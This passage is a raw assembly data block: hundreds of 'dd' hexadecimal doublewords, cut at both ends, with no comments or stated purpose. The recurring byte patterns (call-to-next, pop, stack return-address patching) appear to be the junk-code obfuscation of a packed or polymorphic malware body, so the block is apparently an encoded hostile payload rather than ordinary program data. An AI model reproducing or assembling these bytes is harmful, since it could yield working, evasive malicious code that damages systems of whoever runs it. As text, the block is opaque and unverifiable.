0FE81BAB1h, 0BE94E2Fh, 0E72D55B5h, 28F0F05h dd 8B000000h, 7D8D8BD7h, 6A05E709h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 7F2FC352h dd 982142E8h, 5FFEB66h, 0B9C602BBh, 7E96Eh, 0B4CF0000h dd 3D2B9936h, 1E183E2h, 9850Fh, 0C0800000h, 258533D2h dd 6105E728h, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 12E9CDh, 0CF430000h, 0CFC7487Fh dd 0AE4B8D3h, 1912FE3Ah, 0C51F055Dh, 1BC1BD8Bh, 85C705E7h dd 5E72A75h, 7D0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0DAC35747h, 0F8285E7h, 6A61CBBFh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 7ACAC356h, 0EB4EBD95h, 0E99D6107h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0CEC35242h dd 4F59BDAEh, 0A354C787h, 0D3C280D9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 9EC35646h, 20498D89h, 0C18B05E7h dd 7DF604EBh, 89E917EEh, 0C0000005h, 0C16EE2D4h, 0DC6BE5C5h dd 0DE65EBD3h, 0DA61EFCFh, 5362EEECh, 74424C24h, 74404FD4h dd 7E5E4FD4h, 634345D2h, 2F8ADCEDh, 0C69EF759h, 0DC632B5Ah dd 0DC8AE9CDh, 72547A52h, 91D8F82Dh, 7D4C92AAh, 0CBF7C03Eh dd 0E2592F8Ah, 95AC375h, 10B1038h, 0AEF1E13Dh, 625A4761h dd 0ADFFD211h, 404AB589h, 38531C62h, 341A329Eh, 0B8988D92h dd 63A8F77Dh, 65A68D43h, 30E7945h, 0CEEB933Bh, 0C375E27Ah dd 0F5CD2879h, 2C7C1AC1h, 2A71DFFFh, 3BFEDCE2h, 0C375E2B6h dd 810B629h, 67D98E98h, 0ACB4h, 7A523E00h, 0E65E0654h dd 0D0FFCA48h, 92962A1h, 961CFD38h, 33C3758Ch, 846C4904h dd 9FC3758Ch, 0D6217D4Eh, 0A38CD2E8h, 0BD2E4468h, 0B4808F1Dh dd 925A006Bh, 758CB107h, 0B143BC3h, 8702A7B9h, 0D786E536h dd 8937A9B3h, 151567D9h, 4D000000h, 1F8DAAE2h, 0E3729E49h dd 7E5B735Ch, 0C375128Ah, 6D7DB889h, 0C0A80D35h, 0C3C375E2h dd 4E5CB3F2h, 0EA421268h, 8D625EE1h, 16C4FC0h, 89D92505h dd 9E3B78A6h, 0C375542Ah, 0B38FD829h, 15341B5Ah, 4B02ED31h dd 0F0A9FD4Fh, 75545325h, 360750C3h, 0C3C56A1Ah, 6F4E9FE3h dd 2A260800h, 56645266h, 33E05808h, 5D872013h, 0B39BF635h dd 0B03B4F93h, 4E8CBA16h, 0F7795C04h, 12C37559h, 0E7C6143Ah dd 6AE6C516h, 0E3EBCBDDh, 1664525Ch, 0DA8AF437h, 4B7C1A12h dd 36F80663h, 75538F71h, 74BB84C3h, 0DE357056h, 39E1E9D1h dd 7553149Ch, 0B797B1C3h, 60B1026Bh, 7A113D05h, 9984AB5Ch dd 2D0861BDh, 0D8DBF67Eh, 84F667h, 24EC0000h, 75592F91h dd 98DB24C3h, 3F6A35CEh, 0D5260601h, 6E45A089h, 0FBC41A20h dd 0C7B08ECEh, 78A60284h, 0FF400842h, 5A2E8BB3h, 59C375E2h dd 3700FE01h, 3506053Eh, 3CBF01EDh, 0B7F693E0h, 88BDF5B9h dd 6834252Ah, 307E5590h, 3D98400Ah, 0C375074Bh, 0C23C7F48h dd 0ACF2D2F5h, 146A4A43h, 83DFFF2Bh, 89355534h, 18008645h dd 67D8A798h, 5454h, 64521E00h, 0EE3F0856h, 7734F0CEh dd 0F1C9F153h, 78528B5Fh, 11624444h, 0B9A781B9h, 8D02DF1Eh dd 280050AEh, 0F0236EA4h, 2089E473h, 0C375DD5Bh, 96B798C2h dd 280868B6h, 0C603AFF9h, 500362B3h, 6B45FD36h, 0D7A1D216h dd 33AD78BBh, 1167D8B5h, 1, 236A3555h, 0C4CD2003h, 4F59A6F4h dd 0FC6F136Fh, 79414EDAh, 2FD418D7h, 0C48EDFFFh, 5D1334F1h dd 0FED021C9h, 9557551h, 0A50BAE20h, 0BEC692D3h, 0C7300E6Dh dd 0C06FE1C5h, 88CEF8C8h, 340A5BB2h, 92D3FD41h, 0F294D7C6h dd 5C4E7656h, 0F8C9207Eh, 0FDC1CB50h, 61414AD5h, 0D9F33C02h dd 5605A9F5h, 96B89030h, 1B3B133Ch, 1DB714D8h, 2F61F25Dh dd 13Bh, 2FEE02BBh, 0F72512A7h, 0C112C95Ch, 5F4AD5FDh dd 0F7D13C7Fh, 0A4FAC2C9h, 0C0A80D45h, 0C3C692F6h, 6129A1F2h dd 92F6EC54h, 5796E7C6h, 0B49AB299h, 2F0F1966h, 81A5E4D3h dd 754572BDh, 941CB929h, 0AFC692F6h, 387445Eh, 26A02BBFh dd 0ACBC828Ah, 2B9D38E0h, 28C692F6h, 9BE7C7C1h, 970261B2h dd 61F27AFDh, 50CFh, 0ED029B00h, 2C8CA42Eh, 0DB50A338h dd 8AD2904h, 0C3756170h, 19DC2273h, 0C3756097h, 13301932h dd 0A12CA05Dh, 327D4192h, 9AE53919h, 580B93B3h, 79EA8C3Eh dd 4F4CA351h, 741EB207h, 0C36CC375h, 3085E0D4h, 88AE69E7h dd 0E4000000h, 1352725Bh, 31EE0247h, 0E2E43515h, 5CE8C2D7h dd 1CB687C9h, 53F26C24h, 82ED4A49h, 725BA797h, 0A8E0CF33h dd 2A63CC86h, 96D5340Ah, 0FBDBCD5Ah, 9E63D2A7h, 1D45C692h dd 9CF84055h, 2372C692h, 451338BFh, 5C9FE8B9h, 0F7588D0Dh dd 71BCF3CBh, 10B6645h, 9854133Dh, 0EBF8DDF5h, 88CC8708h dd 341463BFh, 23A8CC12h, 0F69755A7h, 0D71C14DCh, 0B167F444h dd 6B4F3184h, 7B44C8A6h, 16ECB2Ah, 16C2B371h, 35470BC5h dd 802226Ah, 0E79AD92Ah, 0EA420409h, 194A9A89h, 0F94F6AC5h dd 0FAC375D0h, 511D58A9h, 60CA6744h, 0DF230CC9h, 1D77CFF7h dd 97CC2893h, 0ED532582h, 1950C69Eh, 0F8D12D0Dh, 27614CAFh dd 2A62C907h, 67433604h, 92D09046h, 7C4B97A7h, 0FC2A0531h dd 95B780DEh, 0EBEFFEB1h, 116D4D59h, 4900EF38h, 85A9E341h dd 8AACFC4Bh, 51642CB4h, 0D48597EFh, 61D7E2E4h, 62D48597h dd 0BCE9C011h, 5B72A19Ch, 0C893277Bh, 42A62CEh, 92D7FC4h dd 8BB3FE41h, 634348B7h, 0BEFDCE1Fh, 31B40h, 234F0000h dd 5066526Fh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh, 86B4E2CDh dd 7B434FB8h, 0EDF1D827h, 4179A691h, 3A18327Dh, 0EC8102E4h dd 4, 24048F54h, 4240483h, 70BA68h, 24348900h, 3ABD68h dd 24048900h, 16E8BD55h, 0F5811F58h, 14FE3518h, 6EF2C581h dd 0C5810F4Eh, 531F3F56h, 4574ED81h, 0B8500E7Dh, 5A7D9956h dd 8958C531h, 8B545DEEh, 0C4832404h, 7DF36804h, 34890000h dd 24348124h, 1F716D1h, 8108408Fh, 16D10870h, 48B01F7h dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 5E2434FFh dd 0E904C483h, 0FFFC6263h, 7F571CF8h, 5074B00h, 0EB1A89B8h dd 0FFC50305h, 0F67519E0h, 5316F203h, 4BCB040Ah, 42EA2F00h dd 9512743Eh, 0FDABBE06h, 617ECD30h, 0E4AF2F4Fh, 2A412706h dd 5B440A45h, 0C28C9B6Ah, 0F5CAE019h, 1DE43D57h, 4809D931h dd 0B21D391Eh, 0DEDB9F5Fh, 13902659h, 0E0826964h, 0C49C484Ch dd 56908128h, 47607C53h, 0E848651Fh, 104BEB73h, 3C2F0E09h dd 0DA4B1AC5h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h, 27CE1BF5h dd 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh, 7A2500A6h dd 0EA1A0046h, 0D5A3h, 199C0000h, 0FEC9h, 0FBFE47h, 41280000h dd 7DD427E6h, 0E3E9C372h, 6A00000Dh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0AE3AC350h dd 14CEB371h, 0F11BA21h, 0D88BD3BFh, 7F1BD83h, 0F0005E7h dd 7A85h, 0A18D8B00h, 0B805E709h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 3FC35646h dd 7F151F15h, 4A80CF7Eh, 0C2CB8A06h, 6A0004h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 75C324C3h dd 412D0E50h, 80AFE646h, 8A0FB4DEh, 17h, 0BE8h, 99028100h dd 1FA091Fh, 0ED75BEECh, 9B98D8Bh, 8B5905E7h, 0E78A60C0h dd 4718531h, 836105E7h, 0E70D79BDh, 9750005h, 1C15BD83h dd 740005E7h, 8B535013h, 4D0B8C0h, 9D8D0000h, 5E9A808h dd 585BD3FFh, 1C15BD83h, 740005E7h, 0B8535011h, 4D0h, 0A7559D8Dh dd 0D3FF05E9h, 9D8B585Bh, 5E7238Dh, 0BA5958Bh, 0C08B05E7h dd 0AF58529h, 858D05E7h, 5EB1BC1h, 0C2816651h, 9059E9FCh dd 0C78B6660h, 0DE9h, 0DD37AE00h, 2F44A154h, 5ED28734h dd 50616E78h, 89F48A90h, 0E702318Dh, 7E858D05h, 8B05EB1Bh dd 0E720FDBDh, 8B669005h, 0C88A50D0h, 11E990h, 82340000h dd 7FE295Ch, 7549A9DEh, 4B60021Eh, 0FF4F1627h, 0E71C6195h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 8BBCC31Dh, 0BA042444h, 2C99A13Fh, 1BA98589h dd 6A05EBh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0ADFF83C3h, 66D2829Ah, 446CE181h, 824448Bh dd 0BD1BD8Bh, 858905E7h, 5EB1BBDh, 2BED958Bh, 0BD8305E7h dd 5E71789h, 0FB850F00h, 0FC000000h, 7F985C6h, 6A4705E7h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 5B86C357h, 9474DD97h, 4E8h, 9AA7D200h, 0DE8D4h dd 0DED90000h, 9E585ACBh, 0E20A1C9Dh, 0B7D465BDh, 50505FB4h dd 0D18B6652h, 14E9310Fh, 0B7000000h, 3A294055h, 2709821Bh dd 38542EB4h, 1B81213Dh, 5AFFC583h, 24448B58h, 0CE804h dd 53EE0000h, 0E8FFD898h, 723B6FC2h, 0BE854CFh, 16000000h dd 2DB08D08h, 0C2C04603h, 5250E3D7h, 585A310Fh, 8B5959h dd 4244489h, 0E858FA8Bh, 0Dh, 0F42C9142h, 1AEA0A34h, 0AEB1084Ah dd 0DCC981BEh, 5B687563h, 2DC5B5FFh, 6A05E7h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 90CF8EC3h dd 7963858Dh, 0F88B05EAh, 7E9D0FFh, 76000000h, 0FED33537h dd 8589E589h, 5E71789h, 0BD83D98Bh, 5E70F61h, 26850F00h dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 1665C351h, 63DCAAFDh, 19D9BD8Bh dd 85C605E7h, 5E707F9h, 51006A47h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 0B2A13AAFh, 2538AC54h dd 9D2382D8h, 5E72E1Dh, 0BED39368h, 66525082h, 0F7AB1B9h dd 5AD7B531h, 24348158h, 8B16671h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 6FC35040h, 0D7F78271h, 6A70A5FEh dd 855BD2Bh, 0B5FF05E7h, 5E72DC5h, 0FF8BF0Fh, 683h, 69B52900h dd 8D05E724h, 0EA796385h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 8D8B534Dh dd 5E722E9h, 0ECB3D0FFh, 0F618589h, 6A05E7h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 5B2953C3h dd 1EDF32F0h, 0E9A7E244h, 0Bh, 4A2D81FBh, 48E5EE81h, 0E90FFDADh dd 9, 3D7CF98Ah, 0F85E52DDh, 0A1BD83A0h, 5E727h, 0FA850Fh dd 0BD8B0000h, 5E72C85h, 7F985C6h, 665605E7h, 0EADFCF81h dd 4E8h, 1F6D3900h, 12E950D4h, 0A1000000h, 321F7C13h, 70799984h dd 0CDD7DCDEh, 0C45ADF4Eh, 0BF505B98h, 414C67FFh, 424448Bh dd 2850F60h, 0B0000000h, 8B525021h, 50310FD0h, 5A310F52h dd 61585A58h, 840F008Bh, 4, 0AFC1BA66h, 4244489h, 4D958958h dd 0FF05E726h, 0E72DC5B5h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0A5479CC7h dd 7963858Dh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 5BFC2EC3h, 134EB966h, 8A0FD0FFh dd 2, 85892FB1h, 5E727A1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 24C35545h, 0B740E31Eh, 0D1FF579Ch, 86BA6660h dd 218503E8h, 6105E700h, 7F985C6h, 6A6C05E7h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0E2A8C353h, 8A537663h, 0CFBF5FF1h, 0E82E2A25h, 4, 0DB057083h dd 5830Fh, 0E1B90000h, 504EFE9Eh, 424448Bh, 19FCB5B9h dd 60008B44h, 0CE860h, 79E90000h, 423883A0h, 0F51FB5D1h dd 0B45F9C65h, 59BE61F4h, 6132FA90h, 4244489h, 8158FD8Ah dd 0FD5F85CBh, 25B5FF11h, 6A05E70Ch, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 86C0C357h dd 8D959ADEh, 0E7391785h, 8DBD0B05h, 6605E712h, 0FFDC79B9h dd 51006AD0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 668B892Ch, 8B82D914h, 0AD8589CAh, 0B05EB1Bh dd 0E72A058Dh, 57046A05h, 5ACEBF0Fh, 8E8h, 96CCC00h, 0C74DB1F9h dd 8B66603Ah, 0F78B66CEh, 0C2685A61h, 0BAC44EE1h, 3518528Ch dd 3E240481h, 6A3BB12Eh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 6676C351h, 68ED89BBh dd 9D5CEFE7h, 19240481h, 8B62A410h, 0E72C558Dh, 0BA006A05h dd 36DB72E8h, 2E2195FFh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 7497ECC3h, 8B526026h dd 0E7139595h, 9D095A05h, 5E72221h, 1BB98589h, 6A05EBh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 52586EC3h, 7E5CA94Bh, 0F52F0B5h, 6A5FD2B7h, 0B1958B00h dd 6805E705h, 683BF599h, 3481D88Bh, 3AF59924h, 0C9858968h dd 9005E715h, 8B5017B6h, 850990F8h, 5E71F71h, 14E90B6Ah dd 0D3000000h, 33CC5898h, 0AA07CA65h, 0ECF4C7Eh, 27BC53F2h dd 8DEBCA71h, 0EB1B8685h, 0F98B9005h, 0D88B5750h, 0B966905Ah dd 95FF4CCDh, 5E71789h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0B1C35343h, 13958589h, 0B58D05E7h, 5EB1B90h dd 3ACB8166h, 0E59D8BC4h, 5005E731h, 0DE8h, 0EE917400h dd 45236EF5h, 0A9CA9F6Dh, 11E9BABDh, 0A4000000h, 752945D7h dd 1F40BBFEh, 0FBD4C596h, 0E46095FFh, 2434895Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 5C35646h, 0CFCB095Eh dd 0A9A5A197h, 8B0F5090h, 0Dh, 6E952h, 7DCF0000h, 9F4124D7h dd 6A905Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0F148EC3h, 687h, 7D9D8B00h, 0FF05E72Ch, 0E70F6195h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0C61BBE1Ah, 62EE745Fh, 81D0FFEAh, 0B314DDC3h dd 0B9B58B26h, 6A05EB1Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 2D91C357h, 6C799DAh dd 0E64D16F5h dd 1B358D89h, 85C705E7h, 5EB1BB1h, 0 dd 1CD9533h, 0B58905E7h, 5E72AB5h, 207E80h, 337840Fh, 89600000h dd 0E7275D95h, 18A0F05h, 0F8000000h, 6A6061h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8D8BD6C3h dd 5E70AF5h, 6020468Dh, 33C2B70Fh, 0E716199Dh, 85896105h dd 5EB1BB5h, 0DE38151h, 5968CA2Ch, 4DE9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8D8B0F1Fh, 5E72A31h, 50006A40h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0B1465295h, 0D5911DBCh dd 13E1BD89h, 388005E7h, 0CD850F00h, 0FCFFFFFFh, 25E9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0F5893C7h, 81h, 38804800h, 60840F5Ch, 23000000h dd 0E70659BDh, 2F388005h, 51840Fh, 0CE90000h, 3A000000h dd 3FE0CDA9h, 0DF3467FAh, 0E80CE9A0h, 5, 0B039B039h, 0C9950139h dd 5905E723h, 1BB5853Bh, 830F05EBh, 0FFFFFFB9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 51C35242h, 0A19D8BECh dd 4005E715h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 59C35545h, 0BD0951C1h, 5E71C4Dh, 65BD895Ah, 8305E72Ah dd 0EB1BBDBDh, 840F0005h, 75h, 28E0F60h, 60000000h, 61606061h dd 56DBD89h, 616105E7h, 8E850h, 45970000h, 79BBFE9h, 0FE8A9055h dd 2404895Fh, 0BD8503FCh, 6A05EB1Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 3784C350h dd 7973563h, 0FABFF91h, 88Dh, 2880F00h, 8A000000h, 0C6D8h dd 22DD958Bh, 8B5805E7h, 0E72179BDh, 46B96605h, 0E88A9073h dd 57525050h, 0B6310F5Fh, 90585AEDh, 0CE9h, 9AEA8A00h dd 2DB6B379h, 5DA55DF9h, 459D89B9h, 0FF05E705h, 0EB1BA9B5h dd 21958B05h, 0FF05E72Ch, 0EB1BAD95h, 13E905h, 0B2300000h dd 62A14A4Dh, 0FAB37DD3h, 0E43609B3h, 0A2F3F6F8h, 0FC00BA5h dd 9285h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 603A8CE2h, 2CA9BD8Bh, 8B6605E7h dd 6A61F8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0A606A6C3h, 2D85A800h, 0E3D8D8Bh, 85C705E7h dd 5EB1BB1h, 1, 0DE9h, 0E71D2200h, 0FE4B09DEh, 0CE69C4B1h dd 82E90BB2h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 7BB2C357h, 617D447Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0B4C35747h dd 8D8B100Fh, 5E71285h, 11CC681h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0A058FCC3h dd 7163D328h, 0CBB70F2Eh, 0FFFCCBE9h, 0D18D8BFFh, 8B05E707h dd 0E70B7D8Dh, 4E805h, 80000000h, 0FB8B0000h, 11E850h dd 0E8050000h, 0BDEC4E88h, 0D9BC0D1Fh, 8304169Ah, 8B61F7BCh dd 448B59D1h, 98B30424h, 0E960008Bh, 0Fh, 63842C01h, 0FE2723B0h dd 0C8762D75h, 500BBB57h, 0FC78B52h, 5A30B631h, 44896158h dd 0B6BB0424h, 58768AFAh, 6E8h, 6DADF800h, 0B6ED237h, 0E7084D9Dh dd 6A5B05h, 19DDB529h, 61BF05E7h, 0FF6F11E7h, 0EB1BB9B5h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0BD8B8E8Bh, 5E70E21h, 0E788DF81h, 95FF2516h dd 5E727A1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 90C35242h, 0BD891D1Dh, 5E715E9h, 5A51B7BAh, 0B1858B27h dd 6A05EB1Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0E270C351h, 3898B35Bh, 75958B60h dd 0F05E70Ch, 681h, 359D0900h, 6105E705h, 6E950h, 0A4040000h dd 33E2184Fh, 8D240489h, 0EB1BC185h, 45858905h, 9005E71Ch dd 10E96057h, 95000000h, 1CC77FF4h, 94700F14h, 0DA899DCDh dd 66ECB47Dh, 5F61F78Bh, 1041B950h, 66904323h, 4CFAD981h dd 1B7E858Dh, 6A05EBh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 6E639AC3h, 1DCB07E1h, 6119D8Bh dd 669005E7h, 5750FB8Bh, 10E9h, 5CDF4000h, 0AB36A654h dd 6CECEFC6h, 87E6AE29h, 89905964h, 0E700D18Dh, 0EE905h dd 59920000h, 0F31C3436h, 0EA7025E0h, 0A539AFA8h, 226595FFh dd 45B305E7h, 0DBFC08Bh, 8358A079h, 0E70D79BDh, 9750005h dd 1C15BD83h, 740005E7h, 8B535013h, 4D0B8C0h, 9D8D0000h dd 5E9A86Fh, 585BD3FFh, 1C15BD83h, 740005E7h, 0B8535011h dd 4D0h, 0A76E9D8Dh, 0D3FF05E9h, 6A585Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 1565A4C3h dd 89C08BF9h, 0E722598Dh, 95895805h, 5E705A5h, 0E90008C2h dd 0Ah, 2FBD3C6Ah, 91D126D7h, 0C08BD901h, 0F7858DF9h, 2905EB1Bh dd 0E70D61B5h, 81858905h, 0E905E726h, 75h, 0D88C6660h dd 840F04A8h, 35h, 0B5FF016Ah, 5E70C25h, 7963858Dh, 0D0FF05EAh dd 2BF18589h, 0FE8B05E7h, 680CEFC1h, 20040000h, 26A006Ah dd 0D6857h, 95FF0001h, 5E72BF1h, 32E9h, 0F985C600h, 5605E707h dd 0C530DF68h, 0C5B5FFA9h, 8D05E72Dh, 0EA796385h, 89D0FF05h dd 0E7014985h, 0C5858D05h, 5005E704h, 56A206Ah, 4995FF56h dd 6105E701h, 6E0C1C3h, 0FE96060h, 99000000h, 0F8D660D7h dd 0ADE73268h, 0BD41592h, 0E9812EF2h, 35AC951Bh, 6AC08B61h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 0FE74C357h, 0CE8h, 4B5BDA00h, 0A895F7D0h dd 0AEFA54C0h, 0CDBD8931h, 5E05E727h, 0D79BD83h, 750005E7h dd 15BD8309h, 5E71Ch, 53501974h, 38B8C08Bh, 89000004h dd 0E713D585h, 349D8D05h, 0FF05E9AAh, 83585BD3h, 0E71C15BDh dd 17740005h, 38B85350h, 89000004h, 0E713D585h, 239D8D05h dd 0FF05E9A7h, 0F8585BD3h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 95C35141h, 8E8DC5Bh, 56000000h, 9EDFB23Ah dd 8BBE261Ah, 0E72D51BDh, 1BE5905h, 8B020F40h, 50006AC0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0B8CCEFA6h, 8D0F3737h, 6, 55A7E681h, 67E81D63h, 0E9000008h dd 0Ch, 0F3C49353h, 5C951388h, 78CE5AAh, 262D8589h, 6A05E7h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0F7FE99C3h, 4CF07563h, 7E9B9h, 335B0000h, 22ECE5CAh dd 33ADBF09h, 17E8227Bh, 6A000008h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 83F3C350h dd 0EE960h, 48E10000h, 0E9A78D09h, 924586C9h, 0ED3E55BDh dd 21198D01h, 16105E7h, 0E7160D95h, 75858905h, 6A05E715h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 294AC355h, 0E732B99Dh, 0BDB52905h, 0E805E720h dd 7A6h, 16058589h, 0F88B05E7h, 799E8h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 89CF8A0Eh, 0E708C585h, 0AD98005h, 76DE8h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 897645E2h, 0E7281D85h, 0B966BE05h, 3FE82DC0h, 6A000007h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 1728C350h, 89973F73h, 0E72B1985h, 714E805h dd 0B58B0000h, 5E71B31h, 129D8589h, 8D8B05E7h, 5E7059Dh dd 6FDE8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0D4ECB82h, 89C8B70Fh, 0E731DD85h dd 0B1BD8905h, 0E805E72Ch, 6CAh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0E9C35747h, 661E310Bh, 8D8D89C1h dd 8905E712h, 0E719E585h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 310AC5E4h dd 0CF806060h, 880F87h, 61000000h, 89615A53h, 0E72EA18Dh dd 664E805h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 0FBAE64C3h, 0D2035939h, 9D8975E2h dd 5E70939h, 2C75BD29h, 858905E7h, 5E72CC5h, 2F499D89h dd 23E805E7h, 8B000006h, 0E71D0DBDh, 65B50105h, 8905E720h dd 0E72D3585h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 68AE5364h, 0BD23D798h dd 5E71D11h, 5E5E8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 89F9312Ch, 0E70BB9BDh dd 0C7D78105h, 8964B970h, 0E72E5585h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 846A1DF7h, 0ADB3DE91h, 0FEB70F46h, 9A1BB966h, 585E8h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0DE939h, 96C50000h, 5CCF0A63h, 5D6A7A4h dd 8BCC01DAh, 0E18589CAh, 6A05E715h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 9983C353h dd 7563F7FEh, 8D8B4CF0h, 5E70D21h, 521E8h, 0EE900h, 0F7B50000h dd 11BD3660h, 3054664Bh, 27340F98h, 2AB18589h, 6A05E7h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0DDCBC3h, 56C1F979h, 0F398D8Bh, 0E85905E7h, 4DAh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0D3C35545h, 0A9208144h dd 89E958EBh, 0E71CD195h, 65858905h, 6605E72Eh, 0E8F50CB9h dd 4A2h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 83C35141h, 22D84564h, 0C9950960h, 8005E729h, 666183CCh dd 4E6DE181h, 17D8589h, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 9D4D57C3h, 0B08809h dd 0FCF8B66h, 6AD8B6h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 828A8FC3h, 35377662h, 0BA89FED3h dd 6, 0B606C981h, 0C38B08AFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 0CFC35040h, 6698B857h, 0E8C1F18Bh dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 6E9796D1h, 0BD8BBA6Dh, 5E72AA1h, 6AE2F766h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 2DA7C355h, 0C0308C60h, 38AC60Ch, 2820Fh dd 8FB10000h, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0DB9E6EC3h, 8D8B3C3Ch, 5E707A9h dd 0C6FBBE66h, 0F4B9B993h, 8B505647h, 0B53393CFh, 5E712C9h dd 2CD995FFh, 800F05E7h, 10h, 9E8h, 9D141A00h, 0C571088Ah dd 5EFCD935h, 53006A5Bh, 3E8h, 0C35B2000h, 